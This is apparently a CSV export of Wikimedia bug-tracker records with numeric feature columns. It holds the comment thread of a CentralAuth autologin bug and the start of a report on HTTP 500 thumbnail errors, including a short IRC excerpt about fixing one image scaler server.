**Severity**: major",High,80.0,1379156700,1380299259.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-o25zkcehzgmefdahshod,task_description,invalid,True,c2,3,True,False,True,2,True,1.0,0.0,0.0,2.3333333333333335,2.3333333333333335,5.333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,3.6666666666666665,0.6666666666666666,0.0,0.0,0.0,3.0,0.3333333333333333,3.3333333333333335,8.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,5.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,11.333333333333334,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.6666666666666667,3.0,14.0,1.0,2.0,2.6666666666666665,0.0,0.0,0.0,0.0,4.666666666666667,0.0,3.0,0.0,3.6666666666666665,8.0,5.666666666666667,0.0,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,2.6666666666666665,3.502913025384936,0.6322929671244278,"Steps I followed to reproduce:
1) Pick or produce an account registered on it.wikt (home), en.wikt, it.source, en.source; clear all cookies and start new incognito window on Chromium (27.0.1453.93 200836)
2) Visit ru.wikt
3) Login on it.wikt
4) Visit ru.wikt
I. Expected: I am logged in (account is autocreated).
II. Actual: Account is not created and I am not logged in. (Not bug 45578 comment 3 because I had visited the site.)
5) Visit en.wikt
III. Expected: I am logged in (account already exists).
IV. Actual: I am logged in.
6) Visit it.source
Same as III, IV.
7) Visit en.source
Same as III, IV.

In some previous test I was not logged in at step 7 (i.e. in other projects but same language subdomain, but not same project different language), I don't know what happen.
The messy situation at [[Special:CentralAuth/Bug 16864 test]] is due to bug 16864: if you sort by date you can spot the accounts autocreated by logging in on wikimania2013 and outreach (without any logic). I don't know how the various bugs are interacting here.

--------------------------
**Version**: master
**Severity**: major"
234975,Autologin autocreate is not working,"(In reply to comment #16)
> Feel free to reopen if
> it
> can be demonstrated that that's not the case.

Yes, I planned to retest this after the fix for bug 54292 is deployed.",,,1380301145,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,3.0,6.0,0.0,3.0,16.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.161290322580645,0.8387096774193549,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE

Yes, I planned to retest this after the fix for bug 54292 is deployed."
234967,Autologin autocreate is not working,"I'm going to mark this RESOLVED INVALID, per comment 12 that the main complaint here an issue with one wiki's TitleBlacklist configuration (and the followup complaint in comment 13 seems covered by bug 54292). Feel free to reopen if it can be demonstrated that that's not the case.",,,1380299259,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,4.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,5.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.178571428571429,0.8392857142857143,"I'm going to mark this RESOLVED INVALID, per comment 12 that the main complaint here an issue with one wiki's TitleBlacklist configuration (and the followup complaint in comment 13 seems covered by bug 54292). Feel free to reopen if it can be demonstrated that that's not the case."
234962,Autologin autocreate is not working,"(In reply to comment #14)
> (In reply to comment #13)
> > However, why did I have to manually login on the first of (it|en).source to
> > create the account on step 1?
> 
> Possibly bug 54292?

Indeed that bug might be the correct formulation of what I tried to report here. I'll check better later.",,,1379609214,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,12.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,22.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,5.0,12.0,7.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.4146341463414633,0.7317073170731707,"(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Indeed that bug might be the correct formulation of what I tried to report here. I'll check better later."
234958,Autologin autocreate is not working,"(In reply to comment #13)
> However, why did I have to manually login on the first of (it|en).source to
> create the account on step 1?

Possibly bug 54292?",,,1379606982,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0588235294117645,0.8823529411764706,"(In reply to comment #13)
QUOTE
QUOTE

Possibly bug 54292?"
234953,Autologin autocreate is not working,"(In reply to comment #12)
> That didn't really help. Looking at the connections to ruwiktionary in
> attachment 13304 [details], I see all the correct cookies were sent so you
> *should* have
> been logged in.
> 
> ..... Ugh. Have you tried it with a username that isn't caught by
> ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits
> running"", or any of their other very restrictive blacklist rules? Or can you
> reproduce it on any wiki other than ruwiktionary (or one with the same sort
> of
> rules)?

Sigh. I chose a random wiki to avoid bias, I should have used one of those super-small languages as I usually do. However, why did I have to manually login on the first of (it|en).source to create the account on step 1? I'll try to reproduce again elsewhere...",,,1379545086,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,6.0,0.0,7.0,12.0,0.0,6.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,9.0,0.0,3.0,0.0,6.0,12.0,13.0,1.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.393258426966292,0.6067415730337079,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sigh. I chose a random wiki to avoid bias, I should have used one of those super-small languages as I usually do. However, why did I have to manually login on the first of (it|en).source to create the account on step 1? I'll try to reproduce again elsewhere..."
234948,Autologin autocreate is not working,"That didn't really help. Looking at the connections to ruwiktionary in attachment 13304, I see all the correct cookies were sent so you *should* have been logged in.

..... Ugh. Have you tried it with a username that isn't caught by ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits running"", or any of their other very restrictive blacklist rules? Or can you reproduce it on any wiki other than ruwiktionary (or one with the same sort of rules)?",,,1379535771,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,3,True,2.5,0.0,1.0,1.5,1.0,4.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,4.0,8.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.5,0.5,1.5,0.0,2.0,0.0,0.0,0.5,3.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,9.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,2.5,1.5,4.5,0.0,3.0,5.5,0.0,0.0,0.0,1.0,3.5,0.5,3.5,0.0,5.0,8.0,2.5,2.0,2.0,0.0,5.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,1.0,3.8629336349924586,0.8446455505279035,"That didn't really help. Looking at the connections to ruwiktionary in attachment 13304, I see all the correct cookies were sent so you *should* have been logged in.

..... Ugh. Have you tried it with a username that isn't caught by ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits running"", or any of their other very restrictive blacklist rules? Or can you reproduce it on any wiki other than ruwiktionary (or one with the same sort of rules)?"
234942,Autologin autocreate is not working,"So, to expand on the comment above, in the first attempted auto-login after account creation there wasn't any call to login code or special pages that I could see; in step 4 there were some but apparently not successful.",,,1379460232,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,4.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,2.0,0.0,11.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.8695652173913043,"So, to expand on the comment above, in the first attempted auto-login after account creation there wasn't any call to login code or special pages that I could see; in step 4 there were some but apparently not successful."
234936,Autologin autocreate is not working,"Created attachment 13305
Step 4 net-internals export

**Attached**: {F11174}",,,1379460157,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.85,"Created attachment 13305
Step 4 net-internals export

**Attached**: {F11174}"
234929,Autologin autocreate is not working,"Created attachment 13304
Step 3-4 HARs and URL_REQUEST details

**Attached**: {F11173}",,,1379459785,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.8636363636363636,"Created attachment 13304
Step 3-4 HARs and URL_REQUEST details

**Attached**: {F11173}"
234921,Autologin autocreate is not working,"Created attachment 13303
Special:CentralAutoLogin calls step 4

**Attached**: {F11172}",,,1379459723,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8,"Created attachment 13303
Special:CentralAutoLogin calls step 4

**Attached**: {F11172}"
234914,Autologin autocreate is not working,"Created attachment 13302
Special:CentralAutoLogin calls step 3

**Attached**: {F11171}",,,1379459677,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8,"Created attachment 13302
Special:CentralAutoLogin calls step 3

**Attached**: {F11171}"
234906,Autologin autocreate is not working,"Created attachment 13301
Special:CentralAutoLogin calls 2

**Attached**: {F11170}",,,1379459590,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7894736842105263,"Created attachment 13301
Special:CentralAutoLogin calls 2

**Attached**: {F11170}"
234898,Autologin autocreate is not working,"Created attachment 13300
Special:CentralAutoLogin calls 1

**Attached**: {F11169}",,,1379459547,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7894736842105263,"Created attachment 13300
Special:CentralAutoLogin calls 1

**Attached**: {F11169}"
234895,Autologin autocreate is not working,"Created attachment 13299
Step 1 (account creation) HARs

**Attached**: {F11168}",,,1379459469,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,"Created attachment 13299
Step 1 (account creation) HARs

**Attached**: {F11168}"
234891,Autologin autocreate is not working,"I reproduced again with steps as above, with [[Special:CentralAuth/Bug_54119_test]]; I stopped at step 4 because that's what you requested. There is no need to obfuscate headers because it's a throw-away account.
I forgot to follow the instructions closely on it.wikt login, so I only have HAR files for that and step 0. Note that in step 0 I had to manually login on it.source (but not en.source) to create the account.
Attachments follow.",,,1379459248,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,5.0,0.0,6.0,18.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,12.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,8.0,18.0,4.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,3.814432989690722,0.711340206185567,"I reproduced again with steps as above, with [[Special:CentralAuth/Bug_54119_test]]; I stopped at step 4 because that's what you requested. There is no need to obfuscate headers because it's a throw-away account.
I forgot to follow the instructions closely on it.wikt login, so I only have HAR files for that and step 0. Note that in step 0 I had to manually login on it.source (but not en.source) to create the account.
Attachments follow."
234886,Autologin autocreate is not working,"Can't reproduce, tried with both Firefox 24.0 and with Chromium 29.0.1547.57. Although I didn't specifically test having the *home* wiki as itwiktionary.

If you can capture the HTTP request and response headers for the following (obscure the values of any cookies with names ending in ""Token"" or ""Session"", but please indicate which were the same across requests), that would be helpful:
* The POST of the login form on itwiktionary, and all the subsequent redirects
* Any calls to Special:CentralAutoLogin on the HTML page from the previous
* The request on ruwiktionary after having logged in on itwiktionary
* Any calls to Special:CentralAutoLogin on the HTML page from the previous (there shouldn't be any, though)

To capture the headers, the information in http://productforums.google.com/forum/#!topic/chrome/1u7DQv-ag_4 may be helpful; note there will be multiple HTTP_TRANSACTION_SEND_REQUEST_HEADERS and HTTP_TRANSACTION_READ_RESPONSE_HEADERS blocks in one URL_REQUEST in the case of redirects.",,,1379445029,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,3.0,0.0,0.0,0.0,1.5,6.0,2.5,0.0,1.0,0.5,3.5,1.5,0.0,0.0,1.0,0.5,0.0,2.5,14.5,0.0,0.5,0.5,0.0,0.0,1.5,0.5,0.0,0.5,1.0,1.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,15.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,8.5,2.5,13.5,1.0,3.0,12.5,0.0,0.0,0.0,0.0,6.5,0.5,1.5,0.0,1.0,14.5,4.5,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,4.567479570990807,0.7001404494382022,"Can't reproduce, tried with both Firefox 24.0 and with Chromium 29.0.1547.57. Although I didn't specifically test having the *home* wiki as itwiktionary.

If you can capture the HTTP request and response headers for the following (obscure the values of any cookies with names ending in ""Token"" or ""Session"", but please indicate which were the same across requests), that would be helpful:
* The POST of the login form on itwiktionary, and all the subsequent redirects
* Any calls to Special:CentralAutoLogin on the HTML page from the previous
* The request on ruwiktionary after having logged in on itwiktionary
* Any calls to Special:CentralAutoLogin on the HTML page from the previous (there shouldn't be any, though)

To capture the headers, the information in URL may be helpful; note there will be multiple HTTP_TRANSACTION_SEND_REQUEST_HEADERS and HTTP_TRANSACTION_READ_RESPONSE_HEADERS blocks in one URL_REQUEST in the case of redirects."
234881,Autologin autocreate is not working,Probably needs to be retested after https://gerrit.wikimedia.org/r/83655 is deployed,,,1379356743,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.555555555555555,1.0,Probably needs to be retested after GERRIT_URL is deployed
56045,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When requesting random images from Commons' MediaWiki API and requesting a thumbnail for it, I often get a HTTP 500.

For example:



GET http://upload.wikimedia.org/wikipedia/commons/thumb/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg
HTTP 500
<html><head><title>Error generating thumbnail</title></head>
<body>
<h1>Error generating thumbnail</h1>
<p>
Error creating thumbnail:
</p>
<!-- http://commons.wikimedia.org/w/thumb_handler.php/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg -->
<!-- mw1154 -->
</body>
</html>

Usually when trying again, it just works.

I've been getting these errors in many different environments:
* When reading articles and HiDPI plugin swaps the src attributes (the larger version would fail maybe)
* When opening the VisualEditor (rendering the new DOM means we re-parse the <img>tag and thus re-request it, thus making it more likely for the error to happen again)
* When working with gadgets that render image galleries through requesting file category members and the thumbnail url.

I don't think the scenario is relevant, there is either something wrong with the thumbnail generator script that is triggered by lots of images. Or there is a few faulty servers in the upload.wikimedia.org pool that cause the errors.

--------------------------
**Version**: wmf-deployment
**Severity**: critical",High,80.0,1378941420,1379553025.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5ts3ggpcjypmoohi32ft,task_description,resolved,True,c2,3,True,False,True,2,True,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,0.0,0.6666666666666666,1.3333333333333333,1.6666666666666667,5.0,5.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,5.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,12.666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,5.0,2.0,9.0,1.6666666666666667,2.3333333333333335,5.333333333333333,0.0,0.0,0.6666666666666666,0.0,3.0,0.0,1.0,0.0,2.6666666666666665,5.0,4.333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,3.0,1.0,0.0,4.333333333333333,0.6666666666666666,0.0,8.0,3.9391690009337075,0.657609710550887,"When requesting random images from Commons' MediaWiki API and requesting a thumbnail for it, I often get a HTTP 500.

For example:



GET URL
HTTP 500
<html><head><title>Error generating thumbnail</title></head>
<body>
<h1>Error generating thumbnail</h1>
<p>
Error creating thumbnail:
</p>
<!-- URL -->
<!-- mw1154 -->
</body>
</html>

Usually when trying again, it just works.

I've been getting these errors in many different environments:
* When reading articles and HiDPI plugin swaps the src attributes (the larger version would fail maybe)
* When opening the VisualEditor (rendering the new DOM means we re-parse the <img>tag and thus re-request it, thus making it more likely for the error to happen again)
* When working with gadgets that render image galleries through requesting file category members and the thumbnail url.

I don't think the scenario is relevant, there is either something wrong with the thumbnail generator script that is triggered by lots of images. Or there is a few faulty servers in the upload.wikimedia.org pool that cause the errors.

--------------------------
**Version**: wmf-deployment
**Severity**: critical"
254806,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"[02:06:08] <Reedy> Can someone depool mw1154 from the image scaler cluster?
[02:06:20] <paravoid> what's wrong with it?
[02:07:40] <Reedy> It's seemingly generating a lot more errors (by a factor of 2 or so) than any of the other scalers
[02:07:41] <Reedy> https://bugzilla.wikimedia.org/show_bug.cgi?id=54045
[02:08:32] <paravoid> root@mw1154:~# ls /sys/fs/cgroup/memory/mediawiki/job
[02:08:33] <paravoid> ls: cannot access /sys/fs/cgroup/memory/mediawiki/job: No such file or directory
[02:08:35] <paravoid> blergh
[02:09:01] <paravoid> fixed
[02:09:58] <Reedy> is that's what's up with it?
[02:10:05] <paravoid> yes, fixed
[02:10:09] <Reedy> awesome
